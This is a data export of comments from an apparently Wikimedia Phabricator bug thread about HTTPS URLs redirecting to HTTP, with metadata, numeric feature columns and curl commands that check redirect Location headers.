https://gerrit.wikimedia.org/r/106109",,,1389763108,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,20,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,17.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,4.0,8.0,8.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.083333333333333,1.0,"Change 106109 had a related patch set uploaded by Jeremyb:
final (I hope!) fix for protorel redirects

GERRIT_URL"
153060,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #22, comment #23, and comment #51)
> Test cases
> 
> * https://mediawiki.org
> * https://wikimedia.org
> * https://wikipedia.org
> * https://www.wikisource.org
> * https://www.wikimediafoundation.org
> * https://wiktionary.org
> * https://wikiquote.org
> * https://wikinews.org
> * https://wikivoyage.org
> * https://dk.wikipedia.org
> * https://wikibooks.org
> * https://textbook.wikipedia.org
> * https://aa.wikiversity.com
> * https://quote.wikipedia.org
> * https://wikimania.wikimedia.org

This issue isn't fully fixed.




CORRECT (HTTPS --> HTTPS):

$ curl -Is ""https://mediawiki.org"" | grep Location
Location: https://www.mediawiki.org/

$ curl -Is ""https://www.wikimediafoundation.org"" | grep Location
Location: https://wikimediafoundation.org/

$ curl -Is ""https://dk.wikipedia.org"" | grep Location
Location: https://da.wikipedia.org/

(Though I'm not sure why dk redirects to da... assuming that's deliberate.)

$ curl -Is ""https://quote.wikipedia.org"" | grep Location
Location: https://en.wikiquote.org/

$ curl -Is ""https://textbook.wikipedia.org"" | grep Location
Location: https://www.wikibooks.org/

$ curl -Is ""https://wikimania.wikimedia.org"" | grep Location
Location: https://wikimania2014.wikimedia.org/




INCORRECT (HTTPS --> HTTP):

$ curl -Is ""https://wikimedia.org"" | grep Location
Location: http://www.wikimedia.org/

$ curl -Is ""https://wikipedia.org"" | grep Location
Location: http://www.wikipedia.org/

$ curl -Is ""https://www.wikisource.org"" | grep Location
Location: http://wikisource.org/

$ curl -Is ""https://wiktionary.org"" | grep Location
Location: http://www.wiktionary.org/

$ curl -Is ""https://wikiquote.org"" | grep Location
Location: http://www.wikiquote.org/

$ curl -Is ""https://wikinews.org"" | grep Location
Location: http://www.wikinews.org/

$ curl -Is ""https://wikivoyage.org"" | grep Location
Location: http://www.wikivoyage.org/

$ curl -Is ""https://wikibooks.org"" | grep Location
Location: http://www.wikibooks.org/




PROBABLY IRRELEVANT:
$ curl -I ""https://aa.wikiversity.com""
curl: (51) SSL peer certificate or SSH remote key was not OK",,,1386701368,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,14,True,0.0,0.0,0.25,0.25,0.75,1.5,0.25,0.0,0.25,0.0,0.25,0.5,0.0,0.0,0.0,0.25,0.0,1.25,1.0,0.0,0.25,0.0,0.0,0.0,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.75,0.25,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,0.0,0.0,14.25,0.25,0.25,0.0,0.0,0.0,0.0,0.0,0.0,0.25,0.25,0.0,0.25,0.0,0.25,0.0,0.0,0.0,0.0,0.5,24.0,0.5,0.5,0.75,0.0,0.0,0.0,0.75,0.5,0.0,1.0,0.0,0.25,1.0,19.25,0.0,4.25,0.0,0.25,0.0,0.25,0.0,0.0,0.25,0.0,0.0,0.5,3.1260087719298246,0.37048245614035086,"(In reply to comment #22, comment #23, and comment #51)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

This issue isn't fully fixed.




CORRECT (HTTPS --> HTTPS):

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

(Though I'm not sure why dk redirects to da... assuming that's deliberate.)

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL




INCORRECT (HTTPS --> HTTP):

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL

$ curl -Is ""URL | grep Location
Location: URL




PROBABLY IRRELEVANT:
$ curl -I ""URL
curl: (51) SSL peer certificate or SSH remote key was not OK"
153050,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 96438 merged by Tim Starling:
Generate redirects.conf

https://gerrit.wikimedia.org/r/96438",,,1385431525,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,42.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,8.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.5,1.0,"Change 96438 merged by Tim Starling:
Generate redirects.conf

GERRIT_URL"
153041,Non-canonical HTTPS URLs quietly redirect to HTTP,"Change 96438 had a related patch set uploaded by Tim Starling:
Generate redirects.conf

https://gerrit.wikimedia.org/r/96438",,,1384929591,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,12,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,6.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,5.117647058823529,1.0,"Change 96438 had a related patch set uploaded by Tim Starling:
Generate redirects.conf

GERRIT_URL"
153031,Non-canonical HTTPS URLs quietly redirect to HTTP,"Bug 51700 was an issue we had with http or https redirect being cached, i.e. not varying on X-Forward-Protocol.  Squid did not cache the redirect so that wasn't an issue.

The related fix is  https://gerrit.wikimedia.org/r/#/c/75583/ ""Fix up Vary headers on 30x redirects from Apache"".",,,1384812947,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,2.0,5.0,2.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,5.0,10.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,17.0,2.0,2.0,9.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,2.0,10.0,12.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,2.0,3.5344827586206895,0.8103448275862069,"Bug 51700 was an issue we had with http or https redirect being cached, i.e. not varying on X-Forward-Protocol.  Squid did not cache the redirect so that wasn't an issue.

The related fix is  URL ""Fix up Vary headers on 30x redirects from Apache""."
153019,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #58)
> Greg set this ticket to highest priority three months ago, so I wonder if
> that still reflects priorities.

It obviously hasn't been Platform's Highest priority for the past 3 months, wrongly or rightly. :/

I'll reassess current situation and priorities amongst Platform soon. Sorry.",,,1384361426,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,11,True,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,0.0,0.0,2.0,0.0,11.0,9.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,2.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,19.0,0.0,4.0,2.0,0.0,2.0,0.0,2.0,4.0,2.0,4.0,0.0,4.0,9.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,3.978723404255319,0.8723404255319149,"(In reply to comment #58)
QUOTE
QUOTE

It obviously hasn't been Platform's Highest priority for the past 3 months, wrongly or rightly. :/

I'll reassess current situation and priorities amongst Platform soon. Sorry."
153008,Non-canonical HTTPS URLs quietly redirect to HTTP,"Greg set this ticket to highest priority three months ago, so I wonder if that still reflects priorities.",,,1384347239,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,11,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,15.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,4.4,1.0,"Greg set this ticket to highest priority three months ago, so I wonder if that still reflects priorities."
152999,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #56)
> It looks like Rob is proposing to fix it on the Apache/ops side.  That Gerrit
> is in operations/apache-config.

In the short-term, yes. But Ryan L, Ken S., and Rob L. suggest on this bug that the long-term solution is for MediaWiki to handle these types of redirects. I think Andre may have been asking who might eventually handle that portion.

I'll repeat what I wrote earlier this year:

> Clarification about what you mean (or a rough sketch of how you think this
> should be implemented in Wikimedia's environment) would be wonderful. Firing
> up MediaWiki to do this type of high-level redirect seems kind of silly to me,
> but I don't really care about the implementation details.",,,1381586697,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,6,True,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,0.0,0.0,4.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,2.0,1.0,0.0,4.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,0.0,0.0,13.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,1.0,2.0,2.0,24.0,0.0,2.0,7.0,0.0,0.0,0.0,1.0,6.0,1.0,1.0,0.0,4.0,8.0,12.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,3.4404761904761907,0.7023809523809523,"(In reply to comment #56)
QUOTE
QUOTE

In the short-term, yes. But Ryan L, Ken S., and Rob L. suggest on this bug that the long-term solution is for MediaWiki to handle these types of redirects. I think Andre may have been asking who might eventually handle that portion.

I'll repeat what I wrote earlier this year:

QUOTE
QUOTE
QUOTE
QUOTE"
152990,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #55)
> Does any specific MW core developer plan to work on this?

It looks like Rob is proposing to fix it on the Apache/ops side.  That Gerrit is in operations/apache-config.",,,1381528192,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,6,True,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,5.0,18.0,3.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,5.0,18.0,11.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.1842105263157894,0.8947368421052632,"(In reply to comment #55)
QUOTE

It looks like Rob is proposing to fix it on the Apache/ops side.  That Gerrit is in operations/apache-config."
152981,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #54 by Rob Lanphier)
> We had a brief in-office discussion, and the workaround we would like to
> propose for this is to change the 301 redirect to a 302 redirect in Gerrit
> change #13293, and remove the 'Header set Vary ""X-Forwarded-Proto""'.

Does any specific MW core developer plan to work on this?",,,1381509561,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,6,True,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,3.0,7.0,0.0,3.0,0.0,0.0,17.0,17.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3666666666666667,0.8333333333333334,"(In reply to comment #54 by Rob Lanphier)
QUOTE
QUOTE
QUOTE

Does any specific MW core developer plan to work on this?"
152972,Non-canonical HTTPS URLs quietly redirect to HTTP,"We had a brief in-office discussion, and the workaround we would like to propose for this is to change the 301 redirect to a 302 redirect in Gerrit change #13293, and remove the 'Header set Vary ""X-Forwarded-Proto""'.  That should disable caching for the redirect itself without generally disabling or splitting the cache.  The downside is that the redirect won't be cached at all, but we're hoping that we don't get too much traffic on this particular set of redirects.

Longer term, we can potentially move this into MediaWiki (perhaps as part of HipHop), but we'd like to avoid doing this too hastily.",,,1378753655,,PHID-USER-edlps6xg553cjlnvd4ao,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,1,True,1.5,0.0,0.0,1.0,1.5,3.5,1.5,0.0,0.0,0.0,2.5,4.0,0.0,0.0,0.0,4.0,0.0,7.5,11.0,0.0,2.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.5,0.0,3.5,1.0,0.5,0.0,0.0,0.0,0.0,0.5,1.5,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,9.5,1.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,0.0,5.0,2.0,7.0,1.5,3.0,8.5,0.0,0.0,0.0,0.5,6.5,0.0,1.5,0.0,4.5,11.0,3.0,0.0,2.0,0.0,4.5,0.0,0.0,1.0,0.5,3.0,1.0,0.0,0.0,3.838461538461538,0.755944055944056,"We had a brief in-office discussion, and the workaround we would like to propose for this is to change the 301 redirect to a 302 redirect in Gerrit change #13293, and remove the 'Header set Vary ""X-Forwarded-Proto""'.  That should disable caching for the redirect itself without generally disabling or splitting the cache.  The downside is that the redirect won't be cached at all, but we're hoping that we don't get too much traffic on this particular set of redirects.

Longer term, we can potentially move this into MediaWiki (perhaps as part of HipHop), but we'd like to avoid doing this too hastily."
152964,Non-canonical HTTPS URLs quietly redirect to HTTP,"**ksnider** wrote:

I agree with Ryan here. Fixing this in Mediawiki should be the focus, otherwise we have to mangle the redirect in apache/varnish. Better if the wiki could return the HTTPS redirect directly instead. 

If for some reason this isn't feasible, then it'll be on us to find a workaround. 

Thanks.",,,1378739140,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,1,True,1.0,0.0,0.0,0.0,1.0,1.0,4.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,4.0,0.0,10.0,13.0,0.0,3.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,3.0,1.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,7.0,4.0,11.0,3.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,6.0,13.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,1.0,1.0,1.0,0.0,0.0,3.6901408450704225,0.7464788732394366,"**ksnider** wrote:

I agree with Ryan here. Fixing this in Mediawiki should be the focus, otherwise we have to mangle the redirect in apache/varnish. Better if the wiki could return the HTTPS redirect directly instead. 

If for some reason this isn't feasible, then it'll be on us to find a workaround. 

Thanks."
152955,Non-canonical HTTPS URLs quietly redirect to HTTP,"(In reply to comment #50)
> Apache doesn't handle this well, and we don't really want to do it in
> varnish. It's likely best for MediaWiki to handle this instead...

Are you saying this is a non-ops issue, then? In my view, either Rob L. or Ken S. need to figure out who to assign this ticket to in order to get it resolved. Or we need to adjust the stated priority, but I'd prefer not to do that. If it's best for MediaWiki to handle this, it moves from ops to platform/core, I think.

Clarification about what you mean (or a rough sketch of how you think this should be implemented in Wikimedia's environment) would be wonderful. Firing up MediaWiki to do this type of high-level redirect seems kind of silly to me, but I don't really care about the implementation details. I'll trust your judgment.",,,1378687530,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,1,True,0.0,0.0,0.0,0.5,1.0,5.0,1.0,0.0,0.0,0.5,2.0,2.0,0.0,0.0,0.0,4.0,0.0,4.0,14.0,0.0,4.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,2.0,0.0,6.5,2.0,1.5,2.0,2.5,0.5,0.0,0.0,2.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,8.0,2.5,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,0.0,1.0,0.0,0.0,0.0,2.5,2.5,11.0,1.0,3.5,5.5,0.0,0.0,0.0,0.5,7.0,0.0,0.5,0.0,8.0,14.0,4.5,0.5,0.0,0.0,8.0,0.0,2.0,1.0,0.5,1.0,0.0,0.5,0.0,3.5375689711132745,0.7833495618305746,"(In reply to comment #50)
QUOTE
QUOTE

Are you saying this is a non-ops issue, then? In my view, either Rob L. or Ken S. need to figure out who to assign this ticket to in order to get it resolved. Or we need to adjust the stated priority, but I'd prefer not to do that. If it's best for MediaWiki to handle this, it moves from ops to platform/core, I think.

Clarification about what you mean (or a rough sketch of how you think this should be implemented in Wikimedia's environment) would be wonderful. Firing up MediaWiki to do this type of high-level redirect seems kind of silly to me, but I don't really care about the implementation details. I'll trust your judgment."
152948,Non-canonical HTTPS URLs quietly redirect to HTTP,"In addition to those listed above (comment #22 and comment #23), please note that as of today, almost 2 weeks after HTTPS has been ""forced"" for all logged-in users:

* https://wiktionary.org/
* https://wikiquote.org/
* https://wikinews.org/
* https://wikivoyage.org/

also all get redirected to the non-secure ""www.*"" versions.",,,1378660401,,PHID-USER-5nh4szwtu7ijkpyvxbzo,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,1,True,3.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,1.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,1.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,9.0,1.0,1.0,6.0,0.0,0.0,0.0,3.0,3.0,1.0,4.0,0.0,0.0,13.0,7.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0434782608695654,0.7101449275362319,"In addition to those listed above (comment #22 and comment #23), please note that as of today, almost 2 weeks after HTTPS has been ""forced"" for all logged-in users:

* URL
* URL
* URL
* URL

also all get redirected to the non-secure ""www.*"" versions."
152940,Non-canonical HTTPS URLs quietly redirect to HTTP,"Apache doesn't handle this well, and we don't really want to do it in varnish. It's likely best for MediaWiki to handle this instead...",,,1378243326,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,3.0,0.0,20.0,13.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,10.0,13.0,7.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.7333333333333334,0.8333333333333334,"Apache doesn't handle this well, and we don't really want to do it in varnish. It's likely best for MediaWiki to handle this instead..."
152935,Non-canonical HTTPS URLs quietly redirect to HTTP,"Oops, I forgot about/missed MZ's comment from way up there ^^

(In reply to comment #22)
> Test cases
> 
> * https://mediawiki.org
> * https://wikimedia.org
> * https://wikipedia.org
> * https://www.wikisource.org
> * https://www.wikimediafoundation.org
> 
> RT tickets (I believe):
> 
> * RT #1668
> * RT #2847
> * RT #2783",,,1378242842,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,34.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,8.0,24.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.04,0.5,"Oops, I forgot about/missed MZ's comment from way up there ^^

(In reply to comment #22)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE"
152928,Non-canonical HTTPS URLs quietly redirect to HTTP,"Daniel/Asher/Ryan: Is there an RT ticket for this? *seems* mostly in Ops/apache domain vs Platform, right?",,,1378242768,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,25.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,25.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.25,0.8571428571428571,"Daniel/Asher/Ryan: Is there an RT ticket for this? *seems* mostly in Ops/apache domain vs Platform, right?"
152922,Non-canonical HTTPS URLs quietly redirect to HTTP,Quick info: Investigating this problem is on the to-do list for this week.,,,1378221090,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,True,,,0,True,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,12.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.6470588235294117,0.9411764705882353,Quick info: Investigating this problem is on the to-do list for this week.
152915,Non-canonical HTTPS URLs quietly redirect to HTTP,Bump. Any news? If we consider https important than bugs like this shouldn't be left open for almost 2 years.,,,1378035618,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-sgag6uqk42p5r6ofdjmq,task_subcomment,,True,c2,3,False,,,0,True,4.0,0.0,0.0,4.0,4.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,4.0,0.0,8.0,17.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,4.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,4.0,17.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.75,0.9583333333333334,Bump. Any news? If we consider https important than bugs like this shouldn't be left open for almost 2 years.
